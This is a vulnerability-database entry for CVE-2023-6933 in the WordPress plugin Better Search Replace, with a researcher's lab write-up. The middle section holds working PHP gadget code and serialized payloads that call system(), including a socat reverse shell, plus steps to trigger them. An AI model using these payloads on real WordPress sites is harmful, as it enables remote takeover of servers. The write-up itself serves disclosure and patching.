Attacker Value
Moderate
(1 user assessed)
Exploitability
Moderate
(1 user assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
2

CVE-2023-6933

Disclosure Date: February 05, 2024
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Execution
Techniques
Validation
Validated

Description

The Better Search Replace plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.4.4 via deserialization of untrusted input. This makes it possible for unauthenticated attackers to inject a PHP Object. No POP chain is present in the vulnerable plugin. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.

Add Assessment

1
Ratings
Technical Analysis

Introduction to CVE-2023-6933 Vulnerability


Description

The “Better Search Replace” plugin for WordPress exhibits a critical vulnerability known as PHP Object Injection. This security flaw is present in all versions up to and including 1.4.4. It arises from the deserialization of untrusted input, enabling unauthenticated attackers to inject a PHP Object into the system. Notably, the plugin itself does not contain a PHP Object Injection (POI) chain. However, if an additional vulnerable plugin or theme is installed on the target system that does include a POI chain, this vulnerability could potentially allow attackers to delete arbitrary files, access sensitive data, or execute malicious code.


Additional Analysis

In this analysis, we will also cover the vulnerability in WordPress version 6.4.0, which was addressed to fix a Remote Code Execution (RCE) issue. Moreover, we will explore the possibility of chaining these two vulnerabilities to achieve unauthenticated remote code execution.


Discovering the Version of Better Search Replace Plugin

To find out the current stable version of the Better Search Replace plugin, use the following command:

echo 'http://wp6.4-better-search-replace-before-1.4.5.local' \
| sed "s'$'/wp-content/plugins/better-search-replace/README.txt'" \
| httpx -silent -mc 200 -er 'Stable tag:.*'
http://wp6.4-better-search-replace-before-1.4.5.local/wp-content/plugins/better-search-replace/README.txt [Stable tag: 1.4.3]

Setup and Initial Steps for Vulnerability Analysis


Docker Installation

Firstly, I set up three Docker containers for the analysis:

  1. MySQL: To provide database support.
  2. WordPress 6.4.0: Integrated with the “Better Search Replace” plugin version 1.4.3.
  3. Linux Environment: To serve as the recipient for the Remote Code Execution (RCE).

Analyzing GitHub Commits

To gain a deeper understanding of the vulnerability, I began analyzing specific commits in the GitHub repository of the “Better Search Replace” plugin. These commits potentially contain crucial information regarding the nature and fixes of the vulnerability.

img_0.png

  • Explanation of Function Parameters

In this function, we can observe the following parameters:

  • from: This is the text to be replaced.
  • to: This represents the replacement text.
  • data: This is the data that needs to be replaced.

It is important to note here that the data is passed directly to the function $this->unserialize($data).

img_1.png

Therefore, here we can see that the string will be deserialized.

Visual Plugin Analysis

In order to determine where it is feasible to inject a serialized object into data, we will explore the visual interface of the plugin.

img_2.png

We can therefore place a serialized object in one of these tables, but we need a vulnerable serialized object to be able to achieve Remote Code Execution (RCE).


Exploiting PHP Object in WordPress 6.4.0

In WordPress version 6.4.0, a PHP object, WP_HTML_Token, was introduced. Here’s a breakdown of its structure and potential for exploitation:

PHP Class: WP_HTML_Token

main.php


<?php
class WP_HTML_Token {
    public $bookmark_name = null;
    public $node_name = null;
    public $has_self_closing_flag = false;
    public $on_destroy = null;

    /**
     * Constructor - creates a reference to a token in some external HTML string.
     *
     * @since 6.4.0
     *
     * @param string   $bookmark_name         Name of bookmark corresponding to location in HTML where token is found.
     * @param string   $node_name             Name of node token represents; if uppercase, an HTML element; if lowercase, a special value like "marker".
     * @param bool     $has_self_closing_flag Whether the source token contains the self-closing flag, regardless of whether it's valid.
     * @param callable $on_destroy            Function to call when destroying token, useful for releasing the bookmark.
     */
     
    public function __construct( $bookmark_name, $node_name, $has_self_closing_flag, $on_destroy = null ) {
        $this->bookmark_name         = $bookmark_name;
        $this->node_name             = $node_name;
        $this->has_self_closing_flag = $has_self_closing_flag;
        $this->on_destroy            = $on_destroy;
    }
    public function __destruct() {
        if ( is_callable( $this->on_destroy ) ) {
           call_user_func( $this->on_destroy, $this->bookmark_name );
        }
    }
}

Exploitation Strategy

The call_user_func function within the __destruct method is key for exploitation. It requires:

$this->on_destroy: A callable function.

$this->bookmark_name: An argument for the callable function.

Exploitation Code

To exploit this, I tried the following add lines here to the end of main.php (note: comment out the call_user_func line before serialization):

$token = new WP_HTML_Token("touch /tmp/rce", "nodeName", false, 'system');
$serializedObject = serialize($token);
echo $serializedObject;
php main.php
O:13:"WP_HTML_Token":4:{s:13:"bookmark_name";s:14:"touch /tmp/rce";s:9:"node_name";s:8:"nodeName";s:21:"has_self_closing_flag";b:0;s:10:"on_destroy";s:6:"system";}

Testing the Exploitation Theory

Now, it’s feasible to test the theory by adding an unauthenticated comment on the website.

img_3.png

Triggering the Deserialization Function

It’s time to utilize the plugin to trigger the deserialization function.

img_4.png

RCE

The file was created as expected, so the RCE during deserialization and during the destruction of the object works correctly.

img_5.png

Observations on the Exploitation Process


Dangerous Aspects

  1. Persistence of Deleted Comments: Even if a comment is deleted, it remains in the database tagged as ‘not shown to user’. However, the plugin does not distinguish between visible and invisible comments and proceeds to deserialize the object regardless.

  2. Deserialization During Dry Run: The deserialization process occurs even during a dry run, which is a significant oversight in terms of security.


Misclassification of CVSS by Wordfence

  • Initial Assessment: The categorization by Wordfence of the Common Vulnerability Scoring System (CVSS) seems to be erroneous. In my opinion, it should be rated at 8.8.

  • Revised Assessment: The current CVSS score is 9.8. However, this rating overlooks the fact that “user interaction is required on the correct table” for the code deserialization to occur. To confirm this, I contacted researcher Sam Pizzey, who affirmed my observation: the execution of the vulnerability requires someone to interact with the plugin.

Reverse Shell Exploitation

For those interested in reverse shell techniques, I have adapted my payload to streamline this process. This could be applied to websites where registration is open to everyone:


Modified Payload

$token = new WP_HTML_Token("socat TCP:172.17.0.4:4444 EXEC:/bin/bash", "nodeName", false, 'system');
$serializedObject = serialize($token);
echo $serializedObject;
O:13:"WP_HTML_Token":4:{s:13:"bookmark_name";s:40:"socat TCP:172.17.0.4:4444 EXEC:/bin/bash";s:9:"node_name";s:8:"nodeName";s:21:"has_self_closing_flag";b:0;s:10:"on_destroy";s:6:"system";}

Inserting PHP Object into Profile


Next, I edited my profile with the PHP object.

img_6.png


Opening a Listener

I then opened a listener to await the incoming connection.

img_7.png


Triggering the Plugin

img_8.png


Receiving the Reverse Shell

Finally, I successfully received the reverse shell connection.

img_9.png


Remediation Section

Update better-search-replace

To address the vulnerability, update to a version higher than Better Search Replace 1.4.4 and Make your WordPress updates.

Conclusion

This document provides a detailed overview of the CVE-2023-6933 vulnerability, including its impact, technical details, and mitigation strategies. Understanding and addressing this vulnerability is crucial for maintaining the security and integrity of WordPress installations using the ‘Better Search Replace’ plugin.

Author Information


Author: Maxime Paillé

GitHub: w2xim3

LinkedIn: LinkedIn Profile

CVSS V3 Severity and Metrics
Base Score:
9.8 Critical
Impact Score:
5.9
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Vendors

  • wpengine

Products

  • better search replace
Technical Analysis